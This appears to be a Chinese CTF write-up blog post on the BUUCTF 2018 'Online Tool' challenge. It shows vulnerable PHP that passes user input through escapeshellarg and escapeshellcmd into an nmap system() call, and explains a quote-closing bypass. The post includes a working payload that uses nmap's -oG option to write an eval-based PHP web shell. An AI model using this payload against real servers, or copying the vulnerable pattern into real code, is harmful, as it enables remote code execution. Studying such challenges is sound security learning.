[BUUCTF 2018]Online Tool

我到底到什么时候,才能学会,看知识点写题,而不是看题解写题。
原因:
基础太差,无法把漏洞知识与实际相结合。
“漏洞知道了,可这和这道题有什么关系?”就是我目前的状态。

如果我知道

  • namp -PS 127.0.0.1
  • namp -PS ‘’ 127.0.0.1
  • nmap -PS ’ " " ’ 127.0.0.1 " "
    引号闭合后,加上这些,无影响

如果我知道

  • namp <?php phpinfo(); ?> -oG 1.php
    可以写入一个文件
  • namp nmap <?php phpinfo();> -oG 1.php\’
    会写成1.php‘ 而不是 1.php

放一篇讲escapeshellarg函数的,讲的很多,但是这道题,就用前面的一小部分,就可以了。我咋就想不到了。
escapeshellarg讲解
namp 可以写木马,那么我们要做的,让nmap执行那个命令。但是
这两个函数。会把我们的命令给放道单引号里,
'\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php'最后的语句,就变成了:
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php' 我们的命令,被当成了字符串,而不是一条命令,那么我们就要想办法,闭合单引号。

绕过

先取出来这部分代码,测试一下:

$host = $_GET['host'];
    echo $host."<br>";
    $host = escapeshellarg($host);
    echo $host."<br>";
    $host = escapeshellcmd($host);
    echo $host."<br>";

在这里插入图片描述如果我们在数据后面,加上一个单引号,所有的单引号都闭合了,那么我们在单引号后面,就可以加上我们想要执行的命令了。
在这里插入图片描述这样的话,语句就变成了:
nmap -T5 -sT -Pn --host-timeout 2 -F '1'\\'' shellcode\' ,因为所有的单引号都被闭合了,所以可以忽略。放出paylod:
'<?php eval($_POST["a"]);?> -oG 1.php '

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>
  • 7
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值